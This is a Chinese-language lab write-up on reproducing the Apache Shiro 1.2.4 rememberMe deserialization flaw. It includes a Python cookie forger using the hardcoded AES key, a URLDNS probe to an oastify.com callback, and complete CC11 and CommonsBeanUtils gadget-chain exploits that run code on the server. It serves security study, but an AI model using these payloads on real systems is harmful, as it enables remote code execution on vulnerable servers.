前置 - 环境搭建 https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/
https://www.bilibili.com/video/BV1iF411b7bD/?spm_id_from=333.1387.upload.video_card.click&vd_source=d51dbb41ef00391c5c021ee533eafd8e
https://github.com/phith0n/JavaThings/tree/master
jdk8u65
tomcat < 10 (这里我是用了tomcat9)
shiro 1.2.4
使用其他佬的环境进行搭建https://github.com/phith0n/JavaThings/tree/master
配置Applications Server
配置 project Structure
配置 edit configurations
运行 login.jsp 测试
默认凭据 : root / secret
shiro550 分析
在勾选rememberMe后,会返回 rememberMe=deleteMe; 并且在之后的每次访问中都会携带rememberMe
看到该Cookie很长,推测使用了什么加密。
我们去找一下源码看看cookie的加密过程
双击shift 搜索File Cookie
找到了可能是 shiro 加密 cookie rememberMe 的 java 源码 名字为 CookieRememberMeManager 如果这里打开是class文件的话,可以去maven管理中 download sources即可。
定位到 getRememberedSerializedIdentity 方法
很直观的base64 decode
找一下该方法哪里调用了
find usage 定位到 getRememberedPrincipals
跟进 convertBytesToPrincipals 方法
可以看到是进行了decrypt解密,然后进行deserialize 这里的 deserialize就是调用的原生反序列化操作
主要看一下解密方法:
可以通过参数名字和方法内的内容判断出来,该加密方式为对称加密,通常为AES等。 看到 getDecryptionCipherKey 很像解密需要的key
find usage
继续 find usage , 主要是找赋值的地方
继续找
进入DEFAULT_CIPHER_KEY_BYTES 可以看到:
1 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
key是固定的。
所以解密过程就很直白明了: Base64 Decode -> AES Decode -> unserialize
所以加密过程就是反过来: AES Encode -> Base64 Encode -> serialize
shiro550 利用 因为知道了加密的过程,我们先用python写一下最后的加密步骤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import sysimport base64import uuidfrom Crypto.Cipher import AESdef get_file_data (filename ): """ 读取序列化后的二进制文件 """ try : with open (filename, 'rb' ) as f: data = f.read() return data except FileNotFoundError: print (f"[-] 错误:找不到文件 {filename} " ) sys.exit(1 ) def aes_enc (data ): """ Shiro 550 AES CBC 加密逻辑 原理:Ciphertext = Base64(IV + AES_Encrypt(Padding(Payload))) """ BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec (enc_data ): """ Shiro 550 AES CBC 解密逻辑 """ enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintext if __name__ == "__main__" : payload_data = get_file_data("ser.bin" ) rememberMe_cookie = aes_enc(payload_data) print ("\n[+] Generated rememberMe Cookie:\n" ) print (rememberMe_cookie.decode())
URLDNS 链 还是使用之前分析的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package Demo1;import java.io.*;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class urldnsDemo { public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { HashMap<URL, String> map = new HashMap (); URL url = new URL ("http://3dh78acwya32r7qf0xzscnlf66cx0rog.oastify.com" ); Class c = URL.class; Field hashCode = c.getDeclaredField("hashCode" ); hashCode.setAccessible(true ); hashCode.set(url, 1 ); map.put(url, "test" ); hashCode.set(url, -1 ); serialize(map); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
注意不要进行反序列化操作
拿到 ser.bin 后复制到和我们的加密文件一个路径下,直接运行 python3 ./encode.py
1 2 3 4 5 ❯ python3 ./encode.py [+] Generated rememberMe Cookie: GSx8FZzDQ42Kghuoo/igDseUylrH9JqoVuu6HWkR1jV4lJJ+i+Z8Unw0kwCmMAB4LjqD2XG8nOI1nCDhKU0CS/KO/0WDCJ3SUYUAla/TR5hCh6Dd4+60ZeZyZjw51XC+ey6acW06efQ/zpAtG0z4Fj4jdAfyFZR33Z10I817+8i8mqO67xkdSNDk/7YDM7MVw2tu46qUwti0/T0oCI4EuSHRFB5V4k7Es38qju3UipyQdMg9H/VQfa1EOs3MwOrVuUSFxshM7SiBkHNoWOVEJ0kRq++T8yirik7SpzL2N4/BEt9MAPsdtd59m1QSVl7WCIXeLMsBqcIrA0HX0L65sGjzTHMig2dA2hjGc27fjcZG2Z0m+CFmKud3jsnbCWhGnFE+RHKUyTa7WkJ0Yhfef8z6+BSXPRLsGVhXRHRWC54=
然后直接去一个拥有rememberMe Cookie的发送包替换为我们构造的payload。
注意,如果cookie中存在 JSESSIONID=XXXXX 字段,需要删除。 否则优先读取该字段,rememberMe字段会被忽略
然后查看dns请求:
成功接收到了,证明是存在反序列化漏洞的。
cc11 利用链 我们先尝试 cc6 直接打:
发现并没有弹出 calc ,反而多了一堆报错:
1 Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]:
主要原因的话还是因为不能出现数组类, 涉及到一些 tomcat 的代码细节。
所以我们的利用链中不可以出现数组类。
那我们最方便的还是 cc2链子作为结尾。 InvokerTransformer 直接调用 newTransformer 方法
前半段还是用 cc6作为入口点,所以整条链子是这样子的:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package xekoner; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; public class cc11 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class c = templates.getClass(); Field _name = c.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "asd" ); Field declaredField = c.getDeclaredField("_bytecodes" ); declaredField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class" )); byte [][] codes = {code}; declaredField.set(templates, codes); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , null , null ); HashMap<Object, Object> map = new HashMap <>(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates); HashMap<Object, Object> map2 = new HashMap <>(); map2.put(tiedMapEntry, "junk" ); Class cc = LazyMap.class; Field factoryField = cc.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, invokerTransformer); lazyMap.remove(templates); unserialize(); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" )); Object o = ois.readObject(); return o; } }
继续拿到 python 脚本中加密,然后抓包替换验证:
成功弹出了 calc
总体来说就是 cc6 + cc2 的结合体
1 2 3 4 5 6 7 HashMap.readObject -> TiedMapEntry.hashCode -> LazyMap.get -> ChainedTransformer.transform -> InvokerTransform.transform -> TemplatesImpl.newTransformer -> defineClass.newInstance
实际上就是 cc6 的 入口 + cc2 的代码执行部分 去掉了 InvokerTransformer数组改为直接调用
CB 利用链 https://drun1baby.top/2022/07/12/CommonsBeanUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#0x03-CommonsBeanUtils-%E7%AE%80%E4%BB%8B
虽然说 cc11可以打,但是我们知道 shiro 中是不带有 cc 的坐标的,但是有 cb,所以我们可以尝试去打 cb 链
因为是第一次遇到,学一下 CommonsBeanUtils 利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.9.2</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > <dependency > <groupId > commons-logging</groupId > <artifactId > commons-logging</artifactId > <version > 1.2</version > </dependency >
分析 CommonsBeanUtils 主要是对于 javabean 进行操作的包
创建一个 javabean 类
1 2 3 4 5 6 7 8 9 10 11 12 package xekoner.Demo; public class student { private String name = "xekOnerR" ; public String getName () { return name; } public void setName (String name) { this .name = name; } }
测试代码:
1 2 3 4 5 public class shirocbDemo { public static void main (String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { System.out.println(PropertyUtils.getProperty(new student (), "name" )); } }
Commons-BeanUtils 提供了一个静态方法,PropertyUtils.getProperty, 让使用者可以直接调用任意 JavaBean 的 getter 方法
此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。 这个形式就很自然得想到能任意函数调用。
在 cc3 链中的 Templateslmpl 类中存在该方法:
因为尾部链子为 :
1 2 3 4 5 TemplatesImpl.newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance
只需要用 PropertyUtils.getProperty() 去调用,就会走到该 getOutputProperties 方法,调用 newTransformer 方法。
所以要这样写:
1 PropertyUtils.getProperty(templates, "outputProperties" );
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 TemplatesImpl templates = new TemplatesImpl (); Class c = templates.getClass(); Field _name = c.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "asd" ); Field declaredField = c.getDeclaredField("_bytecodes" ); declaredField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class" )); byte [][] codes = {code}; declaredField.set(templates, codes); Field declaredField1 = c.getDeclaredField("_tfactory" ); declaredField1.setAccessible(true ); declaredField1.set(templates, new TransformerFactoryImpl ()); PropertyUtils.getProperty(templates, "outputProperties" );
所以说只要有方法可以调用 getProperty 方法,并且传入的值可控即可利用。
继续寻找:
可以看到参数可以控制。
compare 该方法其实之前在优先队列 Priorityqueue 类中也遇到了。
所以逻辑应该是这样子:
1 BeanComparator BeanComparator = new BeanComparator ("outputProperties" );
接下来还是和 cc4 一样的利用方法,用优先队列去调用 BeanCompare 的 compare 方法:
1 2 3 4 5 6 7 8 9 10 TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue (transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class priorityQueueClass = PriorityQueue.class; Field sizeField = priorityQueueClass.getDeclaredField("comparator" ); sizeField.setAccessible(true ); sizeField.set(priorityQueue, beanComparator);
这里用 transformingComparator 先传入 ConstantTransformer(1) 是因为防止在 add 的时候触发代码导致一些不必要的问题。 后续通过反射改回来即可,虽然说是 cc 中的类,但是反序列化的时候实际是不运行的,所以只需要本地存在 cc 即可。
尝试打一下 poc,但是并没有弹 calc
报错原因是找不到 cc 类,报错点应该是在这里:
在这里构造函数中调用了 cc 中的方法
那我们采用下面一种构造方法:
直接传入一个 CB 中有的类,同时满足继承于 serializable 以及 comparator 即可。
选择 AttrCompare (这里改成 null 为空也可以)
修改 poc:
1 BeanComparator beanComparator = new BeanComparator ("outputProperties" , new AttrCompare ());
可以成功执行的。
如果这里执行没反应,或者爆 CB 的错误 可以看一下版本是否正确,这里我用的是
1 2 3 4 5 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.9.2</version > </dependency >
总结 shiro550 漏洞利用其实不算难,主要漏洞点还是在于固定 key 加解密。 可以使用 URLDNS 进行探测,然后利用 CB 链进行攻击。 CB 链中需要注意的点: 需要用 transformingComparator 来绕过 add 本地调用,然后反射改回来;以及 cc 的调用。
完整 CB 链: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package xekoner; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer; import xekoner.Demo.student; import javax.xml.crypto.dsig.Transform; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class shirocbDemo { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class c = templates.getClass(); Field _name = c.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "asd" ); Field declaredField = c.getDeclaredField("_bytecodes" ); declaredField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class" )); byte [][] codes = {code}; declaredField.set(templates, codes); BeanComparator beanComparator = new BeanComparator ("outputProperties" , null ); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue (transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class priorityQueueClass = PriorityQueue.class; Field comparator = priorityQueueClass.getDeclaredField("comparator" ); comparator.setAccessible(true ); comparator.set(priorityQueue, beanComparator); serialize(priorityQueue); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos; oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws ClassNotFoundException, IOException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }